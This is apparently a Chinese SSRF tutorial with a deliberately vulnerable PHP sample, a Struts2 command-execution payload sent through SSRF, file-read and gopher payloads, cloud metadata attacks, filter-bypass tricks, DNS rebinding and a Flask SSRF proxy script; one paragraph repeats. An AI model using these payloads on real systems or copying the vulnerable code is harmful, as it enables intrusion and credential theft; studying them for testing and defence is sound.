SSRF全称:Server-Side Request Forgery,即 服务器端请求伪造。是一个由攻击者构造请求,在目标服务端执行的一个安全漏洞。攻击者可以利用该漏洞使服务器端向攻击者构造的任意域发出请求,目标通常是从外网无法访问的内部系统。也就是利用存在ssrf漏洞的服务器以它的身份发送一条构造好的请求对该服务器所在内网进行攻击。
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页完本内容、加载指定地址的图片、下载等。
<?php $ch=curl_init(); $url=$_GET['url']; curl_setopt($ch, CURLOPT_URL,$url); echo$_GET['url']; curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);#设置curl函数可以跟随301.302跳转 curl_setopt($ch, CURLOPT_HEADER,1);#设置curl函数返回头部信息 curl_setopt($ch,CURLOPT_RETURNTRANSFER,0); curl_exec($ch); $status=curl_getinfo($ch); var_dump($status); curl_close($ch); ?>
1、可以对服务器所在的内网环境进行端口扫描、资源访问
2、利用漏洞和Payload进一步攻击运行其他的应用程序;
3、对内网web应用进行指纹识别,通过访问应用存在的默认文件实现
4、GET型漏洞利用,GET参数就可以实现的攻击,比如struts2、confluence漏洞利用等
5、POST型漏洞利用,可利用gopher协议进行参数构造;
6、利用Redis未授权访问getshell、Weblogic默认SSRF漏洞页面
7、如果ssrf漏洞存在于云服务器
a.攻击元数据服务
b.攻击存储桶
c.攻击Kubelet
d.API 越权攻击云平台内其他组件或服务
1、通过URL地址进行网页分享;
2、转码服务,通过URL地址把原地址的网页转换格式
3、图片加载与下载,一般是通过url参数进行图片获取
4、未公开的api实现以及其他调用url的功能;
5、设备后台管理进行存活测试;
6、远程资源调用功能;
7、数据库内置功能;
8、编辑器进行远程图片抓取,如: ueditor;
9、打包附件或者内容编辑并导出时
10、PDF生成或导出
share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain...
thinkphp命令执行
## ssrf - 漏洞成因
### 产生漏洞的函数
根据后台使用的函数的不同,相应的影响和利用方法也不一样,PHP中下面函数的使用不当会导致SSRF:
file_get_contents() fsockopen() curl_exec()
#### file_get_contents()
这个函数的作用是将整个文件读入一个字符串中,并且此函数是用于把文件的内容读入到一个字符串中的首选方法。
比如:下面的代码执行结果是输出test.txt文件里面的字符串。
<?php echo file_get_contents(“test.txt”); ?>
#### fsockopen()
使用fsockopen函数实现获取用户制定url的数据(文件或者html)。
#### curl_exec()
该函数可以执行给定的curl会话。
curl 7.83.1 (Windows) libcurl/7.83.1 Schannel Release-Date: 2022-05-13 Protocols: dict file ftp ftps http https imap imaps pop3 pop3s smtp smtps telnet tftp Features: AsynchDNS HSTS IPv6 Kerberos Largefile NTLM SPNEGO SSL SSPI
## ssrf - 利用协议
SSRF常用的攻击协议: http(s)、file、dict、gopher
file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容,如:http://xxx.com/api/readFiles?url=file:///ete/passwd
http://192.168.91.129/ssrf.php?url=dict://192.168.91.136:22
在有回显情况下,可以对内网进行探测,也可以配合一些get型漏洞进行攻击
大部分java环境下的ssrf只支持http的get请求。
当你用dict或者http协议爆破出相应的站时,就可以进行攻击
可以配合struts漏洞进行攻击
GET /ssrf.php?url=http%3a//192.168.91.136%3a8080/index.action%3fmethod%3a%2523_memberAccess%253d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%2523res%253d%2540org.apache.struts2.ServletActionContext%2540getResponse(),%2523res.setCharacterEncoding(%2523parameters.encoding%255B0%255D),%2523w%253d%2523res.getWriter(),%2523s%253dnew%2bjava.util.Scanner(%40java.lang.Runtime%40getRuntime().exec(%2523parameters.cmd%255B0%255D).getInputStream()).useDelimiter(%2523parameters.pp%255B0%255D),%2523str%253d%2523s.hasNext()%253f%2523s.next()%253a%2523parameters.ppp%255B0%255D,%2523w.print(%2523str),%2523w.close(),1%3f%2523xx%3a%2523request.toString%26pp%3d%255C%255CA%26ppp%3d%2520%26encoding%3dUTF-8%26cmd%3dls HTTP/1.1
Host: 192.168.91.129
accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
也可以配合thinkphp漏洞进行攻击
在使用上述协议能探测到高危资产时,可以使用gopher协议进行攻击,尝试getshell或数据分
常见的利用有redis、struts2、thinkphp、mysql、PostgreSQL、FastCGI、Memcached、Zabbix、SMTP、可以未授权访问的站、可以直接GET请求的SQL注入漏洞、内网Web应用中存在的ping命令或traceroute命令接口可能存在命令注入漏洞
gopher协议在各个编程语言中的使用限制
curl --version
windows10默认的curl不支持gopher协议,需要自己安装一个
格式
gopher://<host>:<port>/<gopher-path>_后接TCP数据流
Gopher发送Get请求
问号(?)需要转码为URL编码,也就是%3f 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束) 需要在使用gopher协议时在url后加任意一个字符,不然会吞掉第一个字符,以下添加的字符均为_
例如,内网中的一处其他的漏洞URL为: http://xxx.com/ssrf.php?url=xxx
尝试用gopher协议调用此代码,先构造一个GET请求体:
GET /ssrf.php?url=xxx HTTP/1.1Host:192.168.91.129
转化为gopher协议请求:
gopher://192.168.91.129:80/_GET%20/ssrf.php%3f%20url%253Dxxx%0d%0aHTTP/1.1%0d%0aHost:x.x.x.x%0d%0aRequest
这里推荐Gopherus直接生成exp进行攻击,在gopher协议使用需注意编码
也可以按照上面gopher协议手动编码
在云环境中,SSRF漏洞除了传统的攻击内网等攻击方式外,也增加了一些云上特有的攻击方式,这些攻击方式一旦被攻击者利用成功,往往都会对云上资产造成严重的危害。
在云环境中,元数据即表示实例的相关数据,可以用来配置或管理正在运行中的实例。攻击通过SSRF去访问元数据中存储的临时密钥或者用于自启动实例的启动脚本,这些脚本可能会包含AK、密码、源码等等,然后根据从元数据服务获取的信息,攻击者可尝试获取到受害者账户下COS、CVM、集群等服务的权限。具体攻击方式如下图所示:
在云环境中,可通过Kubelet API查询集群pod和node的信息,也可通过其执行命令。为了安全考虑,此服务一般不对外开放。但是,攻击者可以通过SSRF去访问Kubelet API,获取信息和执行命令。具体攻击方式如下图所示:
通过某个SSRF漏洞,通过访问集群中的Kubelet API来执行命令,从而获取进群内容器的权限。
Docker Remote API是一个取代远程命令行界面(rcli)的REST API,默认开放端口为2375。此API如果存在未授权访问,则攻击者可以利用其执行docker命令,获取敏感信息,并获取服务器root权限。因此为了安全考虑,一般不会在外网开放,此时我们就可以通过SSRF去尝试攻击那些不对外开放的Docker Remote API。其过程与攻击Kubelet API类似。
由于云上各组件相互信任,当云平台内某个组件或服务存在SSRF漏洞时,就可通过此漏洞越权攻击其他组件或者服务。如下图所示,用户正常请求服务A时,云API层会对请求进行校验,其中包括身份、权限等。如果服务A存在SSRF漏洞,则可构造请求使服务A访问服务B,因为服务A与服务B互相信任,所以服务B未校验服务A的请求,从而越权操作服务B的资源。
在Linux实例中查看实例元数据的Shell命令示例如下所示:
在Windows实例中查看实例元数据的PowerShell命令示例如下所示:
查看您传入的实例自定义数据:Invoke-RestMethod http://100.100.100.200/latest/user-data
## 查看实例元数据(加固模式)
加固模式下,实例和实例元数据服务器间建立一个会话,并在查看实例元数据时通过token验证身份,超过有效期后关闭会话并清除token。token具有以下特点:
仅适用于一台实例。如果将token文件复制到其它实例使用,会被拒绝访问。
加固模式下查看实例元数据的流程如下所示:
查看实例元数据的命令示例如下:
curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds: 21600"
\ && curl -H "X-aliyun-ecs-metadata-token: $TOKEN" http://100.100.100.200/latest/meta-data/instance-id示例说明如下所示:
在token有效期内可以重复使用token,使用已有token的示例命令如下所示:
错误示例:
云场景中除了传统的一些可能出现SSRF的场景之外,也出现了一些新的容易出现SSRF的场景:
1) 代理功能:如开发、运维人员因为方便工作所搭建的web代理等等,此类功能如果没有设置好身份认证,就会导致SSRF漏洞出现,因为利用方式简单,且存在回显,故此类问题一旦出现,造成的危害往往都会比较严重;
2) 远程资源调用功能:此类功能如果没能做好安全检测,就会导致SSRF。如weblogic的SSRF漏洞;
3) 文件上传功能:在某些场景中,开发人员未对上传类型进行限制,导致攻击者可以修改type=url,将type=file改为type=url,然后将上传内容改为url,测试可否上传成功,如果可以上传成功,则可能存在SSRF;
4) 数据库内置功能:如mongodb的copyDatabase函数,在进行数据备份时,输入的IP进行限制,则可能存在SSRF漏洞;
5) 未公开的api:这类api有时也会有对外发起网络请求或者需要远程下载资源的功能,并且因为此api未公开,所以很有可能会成为安全防护的盲区;
6) 对象存储功能:对象存储功能是云上特有的文件存储系统,在对象存储功能中,获取存储桶时,如果此时未做302校验,则可结合cos回源绕过,尝试是否存在SSR;
7) 其他:处理图片文件、处理音视频文件、html解析、PDF解析等,这些功能如果防护不到位,也可能存在SSRF漏洞,如PDFReacter等等。
在有回显情况下,可以使用该漏洞点搭建一个代理,便于后续渗透
参考https://www.yuque.com/pmiaowu/bomi9w/mbs0gw
# -*- coding: utf-8 -*- import requests import json from flask import Flask, request, Response, make_response from urllib.parse import urlparse from os.path import splitext, basename app = Flask(__name__) def get_filetype(url): content_type = 'text/html' response_mimetype = { '.png': 'image/png', '.js': 'application/javascript', '.jpg': 'image/jpeg', '.gif': 'image/gif', '.jpeg': 'image/jpeg', '.ico': 'image/x-icon', '.css': 'text/css', '.svg': 'image/svg+xml', } disassembled = urlparse(url) filename, file_ext = splitext(basename(disassembled.path)) content_type = response_mimetype.get(file_ext, 'text/html') return content_type @app.before_request def before_request(): proxies = {'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'} data = request.data or request.form or '' dest_url = 'http://api.xxx.com/api/invokeHttp' ssrfhd = {"header": "cookie", "value": "username.test=ext.bmw.test;"} ssrfhedlist = [] filist = [] ssrfhedlist.append(ssrfhd) dest_data = { 'url': request.url, 'requestType': request.method.lower(), 'files': filist, 'body': data, 'jsonParam': '', 'headers': ssrfhedlist, 'format': 'utf-8' } headers = dict() for name, value in request.headers: headers[name] = value headers['Cookie'] = 'key1=value1;key2=value2;' headers['Host'] = 'api.xxx.com' headers['Content-Type'] = 'application/json' resp = requests.post(url=dest_url, headers=headers, json=dest_data, proxies=proxies) new_headers = {**resp.headers, 'Content-Type': get_filetype(request.url)} if 'Content-Encoding' in new_headers.keys(): del new_headers['Content-Encoding'] if resp.status_code == "302": resp_content_modify_html = "302" return resp_content_modify_html, resp.status_code, new_headers resp_content_modify = json.loads(resp.content) resp_content_modify_html = resp_content_modify["data"].replace("/n", "") return resp_content_modify_html, resp.status_code, new_headers if __name__ == "__main__": app.run(port=8081, debug=True)
由于SSRF漏洞危害较大,并且容易出现在各种功能点中,因此开发人员常常对请求资源的域名、IP进行白名单或者黑名单的限制过滤。
一般情况下利用URL解析导致SSRF过滤被绕过基本上都是因为后端通过不正确的正则表达式对URL进行了解析。
一般用于http://www.xxx.com等域名不可更改
例如http://[email protected],则实际上访问的是 10.0.0.1
一般用于.jpg等固定后缀不可更改
例如http://10.0.0.1:81/#/abc.jpg,实际在浏览器访问的是 http://10.0.0.1:81
在浏览器中可以使用不同的分割符号来代替域名中的.分割,可以使用。、。、.来代替
例如:
10.0.0.1.xip.io 会被解析成10.0.0.1
127.0.0.1的十进制: 2130706433,HTTP访问: http://2130706433/
短网址生成器:
192.168.0.1这个IP地址可以被改写成:
IP中的每一位,各个进制可以混用。
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
①②⑦. ⓪.⓪.①>>> 127.0.0.1
一般进行 ssrf 防御的模式如下:
在这个流程中,一共进行了两次DNS解析:第一次是对URL的host进行DNS解析,第二次是使用CURL发包的时候进行解析。这两次DNS解析是有时间差的,我们可以使用这个时间差进行绕过。
时间差对应的DNS中的机制是TTL。TTL表示DNS里面域名和IP绑定关系的Cache在DNS上存活的最长时间。即请求了域名与iP的关系后,请求方会缓存这个关系,缓存保持的时间就是TTL。而缓存失效后就会删除,这时候如果重新访问域名指定的IP的话会重新建立匹配关系及cache。
在上面的流程中,如果在DNS第二次解析的时候,我们能够更换URL对应的IP,那么在TTL之后、缓存失效之后,重新访问此URL的话,就能获取被更换后的IP。如果我们把第一次解析的IP设为合法IP,就能绕过host合法性检查了;把第二次解析的IP设为内网IP,就达到了SSRF访问内网的目的。
在这个过程中,对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就会导致绕过。
总结一下:
DNS 重绑定攻击的原理是:利用服务器两次解析同一域名的短暂间隙,更换域名背后的ip达到突破同源策略或过waf进行ssrf的目的。
时间窗口问题:
TTL 最理想的设置是0,即在第一次解析之后,立马换位我们想要访问的内网IP。
但是现实是:现在国内购买的域名大都无法直接将TTL设置为0,例如阿里云的域名,最小的TTL是10分钟。而某些国外的域名可以设置TTL=0。
这种情况其实问题不大,在某些情况下,我们甚至可以对同一个域名设置两个A记录(一个内网、一个外网),这样会random访问两条记录中的一个。这样就会变成有概率的成功,不是完全成功而已。
在实战中我们还可能遇到 DNS 缓存的问题。即使我们在前面实现的时候设置了TTL为0,但是有些公共DNS服务器,比如114.114.114.114还是会把记录进行缓存,完全不按照标准协议来,遇到这种情况是无解的。但是8.8.8.8是严格按照DNS协议去管理缓存的,如果设置TTL为0,则不会进行缓存。这种情况只能看命了。
时间窗口问题:
TTL 最理想的设置是0,即在第一次解析之后,立马换位我们想要访问的内网IP。
但是现实是:现在国内购买的域名大都无法直接将TTL设置为0,例如阿里云的域名,最小的TTL是10分钟。而某些国外的域名可以设置TTL=0。
这种情况其实问题不大,在某些情况下,我们甚至可以对同一个域名设置两个A记录(一个内网、一个外网),这样会random访问两条记录中的一个。这样就会变成有概率的成功,不是完全成功而已。
在实战中我们还可能遇到 DNS 缓存的问题。即使我们在前面实现的时候设置了TTL为0,但是有些公共DNS服务器,比如114.114.114.114还是会把记录进行缓存,完全不按照标准协议来,遇到这种情况是无解的。但是8.8.8.8是严格按照DNS协议去管理缓存的,如果设置TTL为0,则不会进行缓存。
这种情况只能看命了。
在Java应用的TTL。Java应用的默认TTL为10s,这个默认配置会导致DNS Rebinding绕过失败。也就是说,默认情况下,Java应用不受DNS Rebinding影响。
可以使用burpsuite的intruder模块,来批量发送请求,以利用时间差完成ssrf。
在线DNS重绑定平台:https://lock.cmpxchg8b.com/rebinder.html
也可以直接用ceye的,就是它不太好用,建议还是自建dns服务器
https://cloud.tencent.com/developer/article/2037501
https://blog.csdn.net/qq_44657899/article/details/116272541
https://blog.csdn.net/weixin_50464560/article/details/122473887
https://xz.aliyun.com/t/12227#toc-9